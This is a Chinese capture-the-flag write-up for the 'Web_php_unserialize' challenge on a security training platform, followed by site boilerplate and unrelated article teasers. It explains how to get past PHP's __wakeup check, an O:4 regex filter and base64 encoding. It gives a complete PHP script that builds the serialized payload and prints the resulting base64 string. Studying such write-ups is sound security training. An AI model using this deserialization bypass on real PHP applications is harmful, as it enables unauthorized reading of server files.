攻防世界-web-Web_php_unserialize

news2025/1/11 10:58:33

1. 题目描述:查看以下代码,获取flag 

2. 思路分析

从代码中不难看出,这里共有三个地方需要绕过

2.1  __wakeup函数:若在对象的魔法函数中存在的__wakeup方法,那么之后再调用 unserilize() 方法进行反序列化之前则会先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行,因此这里调大对象属性的个数即可。

2.2 base64编码:这个简单,进行base64加密即可

2.3 正则表达式绕过:这里不允许存在O:数字或者o:数组=字的字符,这个网上找资料,在数字前面加上+即可绕过

3. 获取flag

我们先绕过wakeup,将Demo对象序列化后,得到的字符串是这样的:

O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

根据以上分析,我们将Demo后门的1改为2即可绕过__wakeup函数,O:4改为O:+4即可绕过正则,再进行base64编码即可(这里注意一定要再代码中处理,线上以及一些工具上进行base64和php代码中进行base64获取到的结果不一样)

详细代码如下:

<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$str = serialize(new Demo("fl4g.php"));
// 绕过正则
$str = str_replace('O:4', 'O:+4', $str);
// 绕过wakeup函数
$str = str_replace(':1:', ':2:', $str);
// 进行base64编码
print(base64_encode($str));
?>

执行以上代码,得到可以绕过的字符串为:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

再构造如下请求即可获取到flag:

总结:较为综合的一道题,考察多个绕过点,包括wakeup,正则,以及base64加密。 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/602268.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据分析概述

数据分析概述 数据的性质数据的概念数据与信息的区别和联系 数据的类型按照度量尺度分按时间状况分 什么是数据分析数据分析的重要性数据分析的内容数据分析作用 数据分析的基本流程典型的数据分析的流程 数据分析方法对比分析法分组分析法定量数据分布分析——具体事例 结构分…

上海亚商投顾:沪指高开高走 地产股迎来久违反弹

上海亚商投顾前言&#xff1a;无惧大盘涨跌&#xff0c;解密龙虎榜资金&#xff0c;跟踪一线游资和机构资金动向&#xff0c;识别短期热点和强势个股。 市场情绪 三大指数今日高开高走&#xff0c;沪指午后涨近1%&#xff0c;深成指、创业板指涨超1.2%&#xff0c;上证50盘中大…

惠更斯定理和格林定理

惠更斯原理和格林定理 惠更斯原理显示了表面上的波场如何决定表面 S S S外的波场。惠更斯在17世纪启发性地表达了这一概念。但这个想法的数学表达是由于19世纪的乔治格林。这一概念可以在数学上表达为标量波和矢量波。矢量波情形的推导与标量波情形是同态的。但是标量波情况下…

少儿编程python-一级

少儿编程python 文章目录 前言CSP-J与CSP-S少儿编程证书含金量排名&#xff08;国家承认的少儿编程证书&#xff09;非专业级软件能力认证&#xff08;CSP-J/S&#xff09;青少年编程能力等级测试&#xff08;CPA&#xff09;蓝桥杯青少年信息技术等级考试全国青少年软件编程等…

造船厂事故/风险(背景+官方统计数据)

造船厂事故/风险&#xff08;背景官方统计数据&#xff09; 船厂工地常见事故船厂事故:发人深省的伤害统计船厂工地常见的风险有哪些? 造船业是周期性的、资本密集型的行业。更严格的环境法规于2020年初生效&#xff0c;引发了对抑制船舶废气硫排放技术的需求。与此同时&#…

数据标记工具

检测分割标定 labelstudio https://labelstud.io/sudo apt install libpq-dev python3-devconda activate paddle_envpip install label-studiolabel-studio startlabel-studio --data-dir /data/data_label_studio<View><Image name"image" value"$im…

【shiro】shiro整合JWT——2.如何整合

前言 shiro整合JWT系列&#xff0c;主要记录核心思路–如何在shiroredis整合JWTToken。 上一篇中&#xff0c;我们知道了需要创建JwtToken、JwtUtil、JwtFilter。 该篇主要讲如何在shiro框架中&#xff0c;配置Jwt。 ps&#xff1a;本文主要以记录核心思路为主。 1、ShiroCon…

如何零基础自学黑客?

我经常会看到这一类的问题&#xff1a; 学习XXX知识没效果&#xff1b;学习XXX技能没方向&#xff1b;学习XXX没办法入门&#xff1b; 给大家一个忠告&#xff0c;如果你完全没有基础的话&#xff0c;前期最好不要盲目去找资料学习&#xff0c;因为大部分人把资料收集好之后&…

Android中的WorkManager

Android中的WorkManager 在后台运行任务会消耗设备有限的资源&#xff0c;如RAM和电池。这可能会导致用户体验不佳。例如&#xff0c;后台任务可能会降低设备的电池寿命或用户在观看视频、玩游戏、使用相机等时可能会遇到设备性能不佳的情况。 为了提高电池性能&#xff0c;An…

关于人力资源管理职能,你需要知道的事

每个成功的企业都有一个称职的人力资源部门。它是任何企业的重要组成部分&#xff0c;是员工和管理层之间的纽带。人力资源涵盖影响组织人员的所有任务&#xff0c;从基本的人力资源活动到战略决策。 对于任何希望可持续发展的企业来说&#xff0c;人力资源管理职能的重要性不…

0802数量积向量积混合积-向量代数与空间解析几何

文章目录 1 两向量的数量积1.1 引例1.2 定义1.3 推论1.4 运算规律1.4 数量积的坐标表示 2 两向量的向量积2.1 定义2.2 重要结论2.3 几何意义&#xff08;向量积模&#xff09;2.4 向量积的运算规律2.5 向量积的坐标表示 3 向量的混合积3.1 混合积的定义3.2 混合积的坐标表示3.3…

初识报表引擎-FineReport

简介 提到报表引擎大家可能都会说帆软。目前商用的比较突出的两个报表引擎&#xff1a;分别是帆软FineReport、RDP报表引擎&#xff0c;其中帆软功能突出且非常完整但是价格较高&#xff0c;RDP功能相对完整但是不够强大貌似还有些BUG&#xff0c;不过价格很低。就目前的情况来…

《模板的进阶》

本文主要介绍C模板知识&#xff0c;包括模板的参数类型&#xff0c;模板的特化&#xff0c;模板的分离编译 文章目录 思维导图一、非类型模板参数二、模板的特化2.1模板特化的概念2.2函数模板特化2.3类模板的特化2.3.1全特化2.3.2偏特化 2.4非类型模板参数也是可以特化的 三、模…

Android 调用系统隐藏的类和方法

1.Android系统隐藏的类和方法 阅读Android源码时&#xff0c;会发现很多被UnsupportedAppUsage注解的方法&#xff0c;这些方法不能被外部应用访问。 比如Android中的PackageParser类&#xff0c;这个类是在android.content.pm包下面&#xff1a; 可以看到这个类是隐藏的&…

有哪些自动化构建工具推荐? - 易智编译EaseEditing

以下是几个常用的自动化构建工具推荐&#xff1a; Jenkins&#xff1a; Jenkins 是一个开源的自动化构建工具&#xff0c;广泛用于持续集成和持续交付。 它支持各种编程语言和版本控制系统&#xff0c;并提供了丰富的插件生态系统&#xff0c;可实现灵活的构建流程和自动化部…

【Spring】— 动态SQL :<choose>、<when>和<otherwise>元素

<choose>、<when>和<otherwise>元素 在使用<if>元素时&#xff0c;只要test属性中的表达式为true&#xff0c;就会执行元素中的条件语句&#xff0c;但是在实际应用中&#xff0c;有时只需要从多个选项中选择一个执行。例如&#xff0c;若用户姓名不为…

九、Docker网络

Docker网络 一、docker网络介绍 Docker网络在Docker的基础知识中算比较重要的了&#xff0c;需要多多实验理解。 Docker服务安装启动后默认在host上创建了三个网络&#xff1a; [rootk8s-m1 ~]# ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UN…

毛毛莫名的大一生活总结

毛毛莫名的大一生活总结 1. 关于高考我的看法1.1 初中1.2 高中 2. 大一开学前的暑假3. 大一开学3.1 军训3.2 学生会 学校社团 运动团体3.2.1 学生会3.2.1.1 院学生会3.2.1.2校学生会 3.2.2 社团3.2.3 运动团体 4. 大学生活 1. 关于高考我的看法 1.1 初中 初一初二对学习不用太…

一种简单的Android骨架屏实现方案----0侵入0成本

对骨架屏的理解 什么是骨架屏 所谓骨架屏&#xff0c;就是在页面进行耗时加载时&#xff0c;先展示的等待 UI, 以告知用户程序目前正在运行&#xff0c;稍等即可。 等待的UI大部分是 loading 转圈的弹窗&#xff0c;有的是自己风格的小动画。其实大同小异。而骨架屏无非也是一…

本地部署github上的stable diffuion,轻松玩转ai绘画(新手小白也能懂)

你也想自己生成上面这样好看的图片吗&#xff1f;废话不多说&#xff0c;跟着博主&#xff0c;按步骤来&#xff0c;做完你也就可以了&#xff0c;而且无任何限制&#xff0c;懂得都懂&#xff01;&#x1f60e; 目录 第一步&#xff1a;准备VPN 第二步&#xff1a;安装Pyth…